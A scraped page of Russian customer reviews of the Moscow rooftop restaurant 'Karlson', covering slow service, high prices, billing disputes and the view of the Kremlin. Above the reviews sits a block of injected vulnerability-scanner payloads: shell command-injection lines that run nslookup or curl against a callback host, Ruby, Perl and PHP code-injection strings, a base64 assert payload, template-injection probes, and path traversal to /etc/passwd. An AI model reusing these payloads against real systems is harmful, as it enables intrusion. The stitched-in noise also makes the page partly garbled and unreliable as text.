Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Саша
14.05.2014
Дебильная система бронирования! При том, что ресторан расположен не в самом удобном месте, для того, чтобы забронировать столик нужно приехать и проплатить предоплату. На просьбы о том, чтобы забронировать столик по телефону, отвечают, приезжайте и оплатите предоплату. Взяв номер телефона даже не задумываются о том, чтобы позвонить и предупредить, что к сожалению все столики заняты. В результате, при том, что до этого неоднократно звонил, узнаешь об отсутствии столиков только приехав делать эту гребанную предоплату!
Алекс В.
23.06.2013
Ходили поужинать с женой и ребенком. Прочитав последние рецензии о невнимательных официантах и долгом ожидании заказа чуть не передумал идти. Все же рискнул и даже был приятно удивлен хорошим качеством обслуживания. То ли дирекция прочитала отзывы, то ли мне повезло, но и девушки на первом этаже были очень улыбчивы и любезны, и к столику проводили быстро и официант не заставлял себя ждать и всю еду приносили быстро. Помещение понравилось. Главный и единственный минус - ну очень не понравилась еда. Внешне выглядит очень пафосно, но совершенно невкусно и как-то грубовато приготовлено, как в столовке. Но все равно стоит сходить. Только не для того, чтобы есть, а чтобы выпить чая или чего покрепче, посидеть, полюбоваться прекрасными видами на Москву.
Анастасия
23.06.2013
Были на семейном ужине - от мала до велика. ЧХ: - уютно, просторно, много света и воздуха; - интерьер забавен, много прикольные банок, фонарей и других деталей; - еда понравилась, сытно и вкусно. ЧМЗЛ: - готовят долго; - от Карлсона только конфеты в банках да дурацкие комбинезоны на официантах; - цены, признаться, интересные, но только в плане высоты. Общее впечатление - усталости обслуживающего персонала. А посидели приятно. Для неискушенных гурманов все было очень мило и красиво.
Анна Кириллова
23.06.2013
Были в середине мая на летней открытой площадке. Столик на пятницу вечер без труда заказали вечером в четверг. В итоге столик оказался самый первый как только заходишь на террасу. Не сказать, чтобы это сильно мешало, поскольку столик рассчитан на 4-х, а нас было двое, вместо стульев установлены 2 диванчика, и столик стоял вплотную к стенке, граничащей с залом ресторанчика, но все равно было несколько неуютно. Площадка представляет собой букву L или перевернутую на бок П (поскольку по всей площадке не гуляла, то относительно П - это предположение, а L точно есть:)), т. е. как только заходите на площадку, почти сразу столик (наш) вдоль стены, приход слева от стола вдоль стеклянной перегородки, далее столик на углу и площадка поворачивает направо. Т. е. сидя за своим столиком нам было видно только мамочку с ребенком, сидящую на угловым столом на повороте (внимание! данный столик стоит вплотную к стеклу, которым огорожена площадка, так, что при наличии некоторых фобий сидеть за ним не рекомендую, да и сидеть получается спиной к виду на Москву+ рядом буфет-комод, в котором и на котором находилась посуда и всякая дребедень). Заглянула я за угол (любопытно же:)) и увидела, что не все столики одинаково хороши:)), поскольку на площадке установлена барная стойка, довольно большая, так, что предполагаю, что с некоторой части столиков обзора города просто нет. К слову сказать с нашего столика вид был классный: памятник Петру, Кремль, Собор Василия Блаженного, явно не все столики могли похвастаться таким видом, поскольку когда посетители уже выходили, многие останавливались напротив нашего столика и восхищались видами. Площадка имеет прозрачную крышу, задрапированную тканью, вдоль стены наверху стоят охлаждающие установки, периодически подающие охлажденный воздух с капельками жидкости, но вода не льется, так, что охлаждающий эффект хороший. Приятный интерьер, насчет комбинезонов на официантах ощущение двоякое, поскольку некоторые выглядели в них как технический персонал (монтеры или ремонтники:). Нам с обслуживанием практически повезло, поскольку парень был шустрый и дружелюбный. "Практически" относится к странному нюансу, который нас скорее позабавил: молодой человек предложил хлеб: белый, черный, фокачо и чего-то там ещё, мы выбрали фокачо, он приносит нам вот это самое "еще", которое выглядело как такие хлебные палочки с мотивировкой, что это будет лучше, мы посмеялись, сказали, что может быть, но все равно хотим фокачо, официант ушел, потом вернулся и сказал, что фокачо нет, мы тогда просто отказались от всего:) Кухня: если полистать отзывы о "Карлсоне" то станет ясно, что кухня там хромает. Подтверждаю: заказали по салату с утиной грудкой и карамелизированным ананасом - стоимость 999 рубей (это та самая "интересная" цена, которую декларируют на сайте:). Салат был самым, что ни на есть обычным: листья салата (немножко руколы, остальное - обычный листовой салат за 60 рублей "букет":)) мелкие куски обычного консервированного ананасам и куриная грудка (она была вкусная, но можно было с таким успехом и нарезку взять:)), какого-то необыкновенного соуса не было ( а можно было за такую цену и постараться). Брали по бокалу белого вина (750 рублей за бокал - вино очень приятное (ориентируйтесь, что это средняя цена, 500 рублей за бокал - это самое дешевое). Брали наполеон - такой дежурный-дежурный, стоил он дешево - рублей 300 (или 350), полагаю, что вот такой "шедевр" в обычном магазине бы продавался рублей за 50 - красная цена. Вкусным был только чаек: липа с перчиком. А вот хостесс, которая сопровождала нас при входе в здание бизнес центра до этажа, где располагается ресторанчик, вполне себе приятная: стройная, одета в длинную юбку, которая ей шла, была улыбчива и молчалива, что ещё надо?:)
Виктория Душко
11.06.2013
Были в ресторане с супругом на прошлой недели, встретила нас искренне улыбающаяся девушка, она мило беседовала с нами в лифте, затем, когда мы поднялись на 14 этаж она же провела нас и за стол, уточнив все наши пожелания, ее звали Вероника, как и нашу дочь! Атмосфера приятная, первые блюда и горячее безупречны, на десерт не хватило места) Очень вежливый официант! Спасибо Вам за гостеприимство и за хороший сервис.
Svetlana Lazarenko
14.05.2014
Очень милая девушка, которая встречает внизу. Улыбчивая, приятная. Вид из ресторана просто чудесный. Рыбу готовят хорошо, а вот коктейли смешивать не умеют.
Ратников Николай
11.06.2013
Современный, чистый, приятный видовой ресторан. Тепло встречают, провожают, за столом следят - претензий к сервису нет. Вид действительно завораживает (если удастся заказать столик у окна в Пт, Сб может не быть мест). Готовят хорошо, к чести шефа кухней заправляет итальянец. Цены показались достаточно демократичными, в рамках 2 т. р. вполне можно рассчитывать на плотный ужин. Образ ресторана светлый и рекомендуемый.
Мой любимый ресторан. Единственное, столики надо бронировать заранее, просто так вечерам не попадешь, и не только в выходные.
Sami S
11.06.2013
В пасмурный вечер субботы, посещение столь чудесного заведения, было по настоящему прекрасной идеей. Просторное помещение, уютное, теплое, любезный персонал, улыбающиеся повара, которые готовят сразу на твоих глазах, приятная музыка. И, конечно, гастрономическое удовольствие, вкусные блюда, удивительные сочетания, красивое оформление. Хочется выразить большое мерси, всем кто принимал участие в выборе этого заведения, кто сделал этот вечер по настоящему вкусным.
Pavel Metelsky
14.05.2014
Красивое место с большими ценами и никаким сервисом. Заменить персонал и дотянуть кухню до цен — будет на самом деле отличный ресторан.
Барак О.
11.06.2013
Было интересно прочитать, что некий Джакомо Ломбарди вознес уровень кухни данного заведения до невиданных ранее высот. Основываясь на опыте двух визитов в "Карлсон" страшно даже подумать, что там было до его пришествия. Одной из удивительных кулинарных находок Д. Ломбарди находок оказалась непрожаренная курица с кровью, что на мой дремучий взгляд весьма опасно. А салат оливье. Оливье для Италии, откуда по всей видимости прибыл вышеобозначенный господин, нехарактерен, поэтому наверное он такой никакой. "Карлсон" в общем - еда из среднего уровня столовой бизнес-центра в интерьере ресторана. Правда, в большинстве таких столовых курица прожарена, а оливье - часто вкуснее.
Крайне заурядное место за большие деньги. Были там с семьей в воскресенье в конце апреля. Много детей и нормальная детская анимация, без этого моя оценка вообще была бы минимальна. Все, что касается еды и вина - как это ни странно, при ценах существенно выше средних для Гинзы, все было очень посредственно. Осьминог (200г за 1 700 руб) оказался просто обжаренным на гриле с обугленными краями и сырым внутри. Салат Моцарелла буфала с бакинскими помидорами почему-то был сделан из обычных помидоров (но за те же 999 руб). Бутылка ординарного итальянского красного вина – 8 000 руб. Итого счет за наш воскресный обед составил более 14 000 руб. Я люблю Гинзу и бываю в большей части их московских заведений, но в Карлсон нет никакого желания зайти еще раз. Слишком дорого для демократичных семейных ресторанов Гинзы, а сравнение с ресторанами более высокой категории не выдерживает ни по уровню обслуживания, ни по кухне.
Вид из заведения открывается потрясающий! Хотя сегодня веранда была закрыта из-за сильного ливня. Жаль. Сидели в зале в уютных креслах. Наполеон вкусный, какао как какао. Очень вежливый персонал плюс днем скидка 20%. В общем получила только приятные впечатления. Вернусь туда обязательно не то чтобы из-за вкуснейшей кухни, а чтобы все же посидеть на веранде:)
Други мои. Ну это же просто уже невозможно! Ну куда и кому еще написать или позвонить???! Ну как можно при цене Капрезе в 1000 рублей и водки 600 рублей за 50 грамм (это самая дешевая в меню) - держать на работе таких НЕВМЕНЯЕМЫХ, ленивых, и, не побоюсь этого слова, ГЛУПЫХ официантов??! Ну, что ж Вы делаете, а?? Веранда- великолепна, интерьер - просто чудесен, вид такой, что хочется умереть от восторга. Но при нереально завышенных ценах (12 500 рублей на 4-х девушек, без горячего. буквально по коктейлю и салатику), как можно нести бутылку воды из бара час (!) ?? И честно говоря не так чтобы и вкусно кормили.. очень обычно. А бронь столика?? Я 3 раза звонила на неделе, просила стол на веранде, потом подтверждала, что бронь есть, затем сдвигала время на 1 час. Когда мы пришли в назначенное время хостес хлопали глазами. Ни моего имени, ни фамилии, ни телефона не оказалось ни в одной книге. Товарищи, родненькие мои. Ну это же просто кошмар какой то.: ( ( (
Пришли с подругой в Будний день. Посадили на веранде. Вид шикарный Заказали 2 десерта. Мерседес бенц и Панакота. Панакота вкусная и стоит тех денег которые отдали. А мерседес-мизерная порция на огромной тарелке. (стоит почти 400 р) Двое мужчин угостили шампанским. Подошла администратор, спросила сколько нам лет и почему оно стоит на столе и откуда оно. Разговаривала очень грубо и неуважительно. И после всех своих вопросов просто забрала бокалы (хотя мы уже отпили из них). Когда мимо проходят официанты, они все время пялятся, что не очень приятно, когда ты ешь. Остался неприятный осадок и пропало желание еще раз приходить П. С. Девушки, которые встречают внизу, очень милые и приветливые.)
Вполне хорошее себе место. Хороший вид, удобное расположение, интересная концепция, занимательный интерьер, адекватная публика, приличная, но без излишнего пафоса. Официанты расторопностью не блещут, но и медлительными их назвать нельзя. Кухня не поражает воображение, хотя от заведений Гинзы этого, в общем, и не ждёшь. В меру хороши десерты и коктейли; салаты, горячее -ничего особенного. Разделение на курящую и некурящую зону, к сожалению, условно, поэтому за некурящим столиком у окна под конец вечера можно оказаться насквозь пропитанным дымом ( Общее впечатление - чуть выше среднего. В принципе, это то место, в которое стоит специально планировать поход и провести там вечер.
Torikaya torikaya
23.06.2013
Заведение позиционирует себя, как семейный ресторан - "Приходите к нам с детками. приводите бабушек, дедушек" и т. д., при этом не пускают посетителей в кежуал одежде. При том, что официанты одеты в джинсовые комбинезоны. Абсолютно неадекватный подход.
Natalia Ustinovich
23.06.2013
Зашли на первый этаж бизнес-центра и начали озираться по сторонам в поисках входа - через секунду возникла приятная девушка, сопроводившая нас на 14 этаж. Столик бронировали недели за три - провели и посадили именно за тот, который мы хотели - никто ничего не забыл. Интересное меню, вкусная еда - мне понравилось, блюда простоваты но ведь это "Карлсон", мне кажется стоит понимать, что для заведения, подобным образом себя позиционирующего (я не про цены, а про концепцию) меню вполне соответствует. если хочется чего-то более изощренного можно пойти в Скай Лаундж. Цены выше среднего, но опять таки это и обслуживание и местоположение и концепция и Москва))). Должна сказать, что идти в него искренне не хотела, т. к. прочитала отзывы про хамство и длительное ожидание еды и прочие неприятные вещи. К моему удивлению все красиво, вежливо - салат из курицы и чем-то там еще (внешне похож на цезарь но достаточно интересный, вкус иной) - 20 минут, напитки - 10 минут, горячее -40 минут. В общем я приятно удивлена и довольна))
Место очень портит обслуживание. Придя в первый раз, нам ооочень долго несли блюда, а потом и вовсе не принесли заказанную утку, объяснив это тем, что она случайно улетела из кухни на другой стол. А если мы её ещё хотим, то надо будет снова подождать минут 40. Спустя два месяца я пришла наступить на те же грабли. Нереально долго несли нам даже меню. У подошедшей официантки я спросила: "не проклят ли этот столик, что его обслуживающий персонал обходит стороной?"))) Она в ответ улыбнулась, хихикнула и тут я подумала, что проклятье снято, но не тут-то было - больше мы её не видели. Эстафету принял официант мужеского роду, который также с равнодушным видом принимал заказ, а потом пропадал в небытие. Еле-еле мы добились от него счет и, расплатившись, покинули вполне себе уютную крышу Карлсона с ужас какими нерасторопными малышами.
Сабина Газиева
23.06.2013
Самое главное и самое приятное в этом месте это веранда! На мой взгляд она здесь лучшая, ну или одна из лучших в Москве. Уютная и вид потрясающий. Но на этом пожалуй положительные моменты и заканчиваются. Еда так себе, отношение и обслуживание тоже очень сильно хромает. Была там не один раз и каждый раз только из за вида, а не потому, что хочется вкусно поесть. С резервом столика тоже беда искусственно раздувают ситуацию, все время у них типа аншлаг, хотя на деле оказывается, что полно свободных столиков. Огорчает, что в Москве такое отношение к людям.
Андрей Даровских
23.06.2013
Интерьер выполнен на высшем уровне, вид с веранды отличный, но. Еда ниже среднего. Умные названия, высокие цена, а на вкус трава травой. Единственно, что понравилось это необычные шоты. Так, что учитесь готовить и может быть придем еще. Официанты кстати вполне расторопны
Obraztsova Алиса
11.06.2013
Хотелось поделиться впечатлениями от ресторана "Карлсон". Днем в субботу забронировать столик на вечер конечно же оказалось практически невозможно и таким образом мы оказались в Карлсоне. Друг приехал раньше и ожидая нас попытался воспользоваться wi-fi. Wi-fi не работал и он попросил помощи у хостесс. Собственно никто о его просьбе не вспомнил до конца вечера и не помог - это раз. Что касается еды.: блюда могут не соответствовать вкусовым ожиданиям, но если блюдо называется "моцарелла с бакинскими помидорами" (или как-то так), то, согласитесь, что бакинские помидоры должны в нем быть. Как вы уже догадались их не было, это при стоимости салата в 800 рублей (или что-то около того). Предполагается, что когда ты идешь в ресторан подобного уровня, тебе не подают замороженные вонголе, а карпачо из говядины даже близко не соответствовало моим ожиданиям. Винная карта не соответствует имеющимся напиткам. Единственное, что было хорошо - официант. Он был вежлив и любезен, так, что хоть за него спасибо. Вывод: В Карлсон больше ни ногой, и друзьям посоветую избегать этого места.
Валерия О.
21.05.2013
Дорогие владельцы Карлсона! Неужели Вы не читаете мнения о работе вашего персонала! Ну заставьте этих людей работать как надо! Шикарный вид, и даже вкусная кухня, но обслуживание ужасное. Ждали почти час, пока у нас примут заказ, а потом 40 минут пока принесут счет. В промежутках между этими событиями все было тоже очень медленным. И еще мне показалось, что в еде слишком много "затейливости". Если бы в некоторые блюда не были добавлены какие-то специфические ингредиенты, то они были бы вкуснее. Но, возможно, это на мой вкус. Рекомендую лосось со шпинатом.
Veronika Yakimets
14.05.2014
Пропеллеры официантам скорости не придают. Все очень медленно. Но готоавят вкусно, а обстановка прям воздушная — красиво.
Юлия Дэ
21.05.2013
Главное премущество ресторана - это летняя веранда на 14- этаже бизнес-центра. Кухня оказалась невнятной, хотя позиционируется как домашняя разных стран. Что оказалось действительно вкусным, так это сыры и разные виды сырокопченого мяса. То есть то, что готовили не в ресторане. Изобилие персонала, хостесов, официантов, барменов и еще не знаю кого. Суетятся, мельтешат, но обслуживают не профессионально. Меню на английском не оказалось - не успели сделать. А сомелье вообще на нас обиделась, когда мы заказали вторую бутылку вина - она принесла не ту, мы об этом ей вежливо сообщили. На, что до глубины души оскорбленная девушка сделала широкий жест - подарила нам бутылку вина, что бы загладить свою вину. И весь вечер игнорировала наш столик, мы обходились одним официантом)))). Господа, берегите ранимую душу сомелье ресторана "Карлсон", соглашайтесь сразу на то вино, которая она посчитала нужным принести.;) )) Когда резервировали столик, обещали джаз, на деле музыка была такой же не внятной, как и кухня. Из доброго: стильный интерьер, красивый вид на Москву, вкуснейший чизкейк, возможно, из лучших в столице.
Александр Ляпунов
30.04.2013
Наверное, в данном заведении совершенно не имеет значение как готовят. Главное это вид, коим не может похвастать больше никто в Москве. Очень понравилось летом, особенно на открытой веранде. Кремлевские звезды, Исторический музей. Еда вкусная, но дорогая (хотя, разве могло быть иначе).
Пришли сегодня с подругой - нас встретила хостесс с перекошенным от злобы и пафоса лицом, буркнула, что мест на террасе нет и не появятся. Долго выясняла у нас, какое меню нам нужно - с блюдами и только с напитками. В итоге вопреки нашей просьбе принесла нам меню с дорогущим "элитным" чаем за тысячу рублей (не преувеличиваю!). В общем, при всём наличии фланирующих карлсонов-официантов мы еле-еле заказали чай (из стандартного меню за относительно адекватные деньги) и сорбе. Сорбе было вкусным, чай - затрапезным. Публика - перекачанные силиконом барышни не первой свежести, разнаряженные провинциалки на съёме, набриолиненные качки и в малом количестве нормальные люди. Из всех плюсов - вид на Москву. Но минусов гораздо больше. Никакой особой музыкальной программы я там не заметила, хотя отвечающий за эту часть Синиша Лазаревич тусовался там весь вечер. Их всех гинзовских веранд самая хорошая - Балкон в Лотте Плаза, по крайней меня меня там всегда очень вкусно кормят и приветливо обслуживают. Вывод: не ходите в Карлсон, не тратьте время и деньги!
Веранда с претензией (но не дотянула). Ходили туда ужинать, девушки встретили приветливо, но долго не могли найти в списках наш забронированный стол, потом кое-как нашли, оказалось, там всё еще сидят другие люди. Посадили за соседний, потом пересадили за забронированный, когда его освободили и подготовили. Жара несусветная, на вопрос официанту: "У вас кондиционеры всегда так плохо работают?". Ответ был отличный: "Вы попробуйте выйти на веранду". Ок, пробовать не хотим, именно поэтому заказали внутри. Заказали шампанского, салат и гаспаччо с бразильскими рулетиками, не помню как называются точно (салат понравился, гаспаччо - хорошо, а вот рулетики слишком жирные, особенно для девушки, поразило, что мне их вообще посоветовали в такую жару). Я не знаю почему, но у меня искренне сложилось впечатление, что многие официанты ходят с такими перекошенными лицами, как будто им все вокруг должны. Может быть из-за переполненности, может из-за мега пафосности. Если говорить об униформе, стилизованной под Карлсона, честно говоря смотрится уныло, лучше бы либо нормально одели, либо как-то повеселее костюмы сделали, а не просто джинсовые комбезы, в которых их порой разглядеть затруднительно среди такого количества людей. Публика - сборная солянка, давненько я такого не видела. Даже и оценке то трудно поддаются. Есть и нормальные, есть и многие те, кого тут в рецензиях перечисляют. Музыкальное сопровождение - так я и не поняла, что же в нем особенного. Синиша замечен не был, возможно из-за этого. ЗЫ: В очередной раз посоветовала бы Гинзе побольше уделять внимания тренингу персонала, практически в любом ресторане. Поскольку это важнейшая составляющая (безусловно помимо кухни) любого заведения. Не хотелось бы чтобы моя стойкая ассоциация, что рестораны этого бренда - это всегда некачественное обслуживание, но почему-то пока, что происходит так. Скоро пойду в Дом Карло, посмотрим, как будет там. Интерьер: 5 (только за вид) Атмосфера: 2 (все забито битком, в жару кондиционеры не справлялись) Обслуживание: 3 Публика: 3 Кухня: 4 Кальян: - Стоимость: соглашусь с Афишей, без алкоголя до 1500-2500 рублей на человека Резюме: абсолютно переполненное (непонятно по каким причинам) место, в жару сидеть на веранде невозможно, внутри - кондиционеры также работают из ряда вон плохо. Обслуживание среднее (впрочем для Гинзы это уже скорее привычно). Единственный плюс - красивый вид. Но даже это не заставит меня прийти еще раз. В Москве есть много достойных мест, в том числе и у конкурентов.
Честно говоря, от Ginza я такого не ожидала. Впервые были там, отмечая День Рождения. Началось с того, что посадили нас на видовой веранде в ряд, как на лавочке, спиной к Москве и видам. Представьте, одиннадцать человек в ряд за столом? Еще менее уютно, чем за барной стойкой. Приятная приятельская болтовня и тосты с треском провалились, гости, сначала недоуменно притихнув, вынужденно перешли в режим фуршета, с бокалами и улыбками пытаясь поправить ситуацию и настроение. Это тоже давалось с трудом, т. к. мимо сновали официанты и другие сотрудники ресторана, не давая даже постоять в узком проходе между столом и стеклянной стеной основного зала. Зачем они сновали понять было трудно, т. к. в начале "банкета" на всей веранде было занято только два стола. Но это уже не наше дело, видимо, по делу сновали. Далее принесли меню. Сразу несколько "вариантов", т. е. у людей в руках были меню с разными предложениями, а в тех редких пунктах, где предложения совпадали, стояли разные цены. Вот когда поймешь слоган "ресторан с интересными ценами". Услышав о конфузе, официант забрал те меню, где цены были ниже, и даже ничем их не заменил. Выбор и заказ делали по очереди, с трудом пробираясь между "этого блюда, к сожалению сегодня нет". Получить удовольствие от блюд, выбранных в результате самим официантом из того, что есть, тоже не удалось. Вкусным, хотя бы одно из своих блюд, не смог назвать никто. У кого-то просто многозначительно все осталось на тарелке, кто-то вежливо поковырялся. Это имело отношение даже к десертам. Вина, надо отдать должное, были хорошими. Апофеозом был вынос счета. Во-первых, он был явно прилично, вернее, в данном случае "неприлично" завышен, а во-вторых, видимо, по причине первого, или исходя из существующего в данном ресторане негативного опыта общения с гостями после выставления счета. Его вынес не официант, а администратор вместе с охранником, предупредившим, что чаевые за обслуживание - это обязательная, наличная и назначенная рестораном точная сумма, обсуждению она не подлежит, и имеет право быть только увеличена. Справедливости ради, придраться к работе самих официантов я не могу. Они, как могли "разруливали" тот катастрофический гламурный сервис именитой компании-ресторатора. Конечно, после такого первого раза, возвращаться туда совсем не хотелось. Но на прошлой неделе возникла необходимость в очень быстром режиме показать гостям Москву, мы не удержались, и посидели немного возле стойки на террассе Карлсона. Трудно поверить, но даже в счете, где всего 4 позиции, реально обсчитать. Вместо двух напитков были указаны другие, много дороже. Не могу отнести такой бардак на откуп "человеческого фактора". Это управление, которое, видимо, в компании полностью отсутствует. Для города с "самыми лучшими в мире ресторанами" это стыдно. Даже прекрасное расположение и вид на Москву не компенсирует.
Была там три раза и с каждым разом все хуже и хуже. В пятницу вечером решили с мужем зайти "на авось" - посмотреть террасу, естественно, ничего заранее не бронируя. Внутри вообще народу было не много, но вот на террасе все занято, решили сесть за барной стойкой на террасе - вид все-таки действительно фантастический - с тем, чтобы когда освободится столик нас пересадили. Про еду писать не буду - по другим комментариям очевидно, что она тут средняя, напитки - недешевые. Но вот обслуживание - то ли официанты обалдевают от чаевых и с каждым месяцем хамеют, либо просто атмосфера действует. Периодически на просьбу еще раз принести меню в ответ слышали "вы, что не видите, я занят" ну и т. п. По мере освобождения столиков наша просьба пересадить нас встречалась ответом "к сожалению, все занято", при том, что мы в общем-то вежливо давали понять, что зашли ненадолго и скорее всего к приходу гостей, уже давно освободим столик. В общем, ничего на официантов не действовало (может, надо было им денег дать (?) но дико вроде как), муж поймал менеджера, сказал, видимо, все, что думает об уровне обслуживания - и о, чудо! свободные столики тут же обнаружились, причем два или три раза официанты предлагали нас пересадить за столик на террасе. В общем, выглядело это все не в пользу обслуживающего персонала. Ну и напоследок - наверное, самое неприятное в этом месте большое количество девушек "съемного" вида в сопровождении пузатых дядек.
Столик на веранде бронировали заранее, недели за полторы, после того, как прочитали кучу нехороших отзывов именно про отсутствие мест на веранде. На всякий случай еще и перезвонили в день похода туда утром и сверили бронь - нам сказали, что все ОК и, что нас ждут. Пришли вовремя, ждали 5 минут, чтобы сверху за нами спустился хостес на лифте. Видимо, без них на лифте самостоятельно ездить нельзя. Поднявшись наверх были встречены второй хостес. Нас естественно спросили про бронь. По названным имени и фамилии сказали, что эту бронь не нашли. Видимо, для них это нормальная история. мы просто бросили девушки "ну ищите лучше!". Мне так кажется, что если бы не боевой настрой, нас бы, скорее всего, оставили без веранды. Столик удивительным образом нашелся, хостес извинилась. На веранде довольно ветрено, спасают только пледы. ужасно воняет туалетом. причем, по всей веранде, не зависимо от стороны. На столах торшеры из икеи и странные разрисованные ведра.
Наталья Ковалева
11.06.2013
Прекрасный вид на город, чудесна веранда, сумасшедше вкусно и обалденные коктейли:))) а да, чуть не забыла - очень внимательный, профессиональный персонал! Единственный минус - везде курят: ( ( (
Панорама, персонал - все на высоте, но я люблю карлсон за его чайную карту. Чай "душевный" - лучший в Замоскворечье, если не во всей Москве.
Ужасное место, отвратительное обслуживание. Салат несли около 45 минут, в счет включили лишнюю еду, официант вымогал чаевые. В Мск очень много мест, где можно с удовольствием провести время и потратить деньги, это заведение не советую.
Недавно решила сходить в Карлсон с друзьями. Я очень люблю это место, хотя давно там не была. Ресторан приятно поразил меня своим новым меню, новый шеф-повар из Италии-Джакомо Ломбарди поднял кухню на высочайший уровень. Меню пока изменено не до конца, но уже бросаются в глаза такие изысканные блюда как телятина с соусом из тунца "Карлсон" (444 руб.), карпаччо из говядины с сельдереем и пармезаном (727 руб.), суп-крем из картофеля с мини равиолли с сыром и черным трюфелем (565 руб.). Я взяла трофие с тартаром из тунца и это было очень вкусно. Честно говоря, не разу не пробовала настолько вкусной пасты. Как мы потом узнали Джакомо делает пасту сам. Друзья взяли филе сибаса в пергаменте с морепродуктами и овощами (1221 руб.) и утиную ножку тушеную с овощами и картофельным пюре (858 руб.). Им безумно понравилось. В общем мы были в восторге. Всем советую это место. Теперь гинза радует не только отличным обслуживанием и шикарной обстановкой, но и шедевральной кухней.
Внизу здания - УГ-контроль, в самом ресторане - проверка на ПОНТометре. Пройти внутрь могут только работницы Ленинградского, Ярославского и далее-по-списку шоссе и завсегдатаи гей-клбов. Обязательно приехать на автомобиле суперпреиум класса с водителем, который не умеет не то, что парковаться, но даже подъехать ко входу по прямой. Простым смертным, а уж тем более людям с высшим образованием и наличием воспитания не попасть даже при наличии брони (!). Читая остальные отзывы, в какой-то степени даже рада, что не потеряли там честно заработанные, хотя времени и нервов, конечно, жалко.
Кирилл Лариков
14.05.2014
В ресторане нравится почти все, кроме большей части еды. Не дожаривают, не пропекают, все полусырое, какое-то неготовое. Уже бесполезно кому-то из администрации об этом говорить — результат всегда один и тот же. А так… очень мило.
Бай-Белек Дунгар-оол
30.04.2013
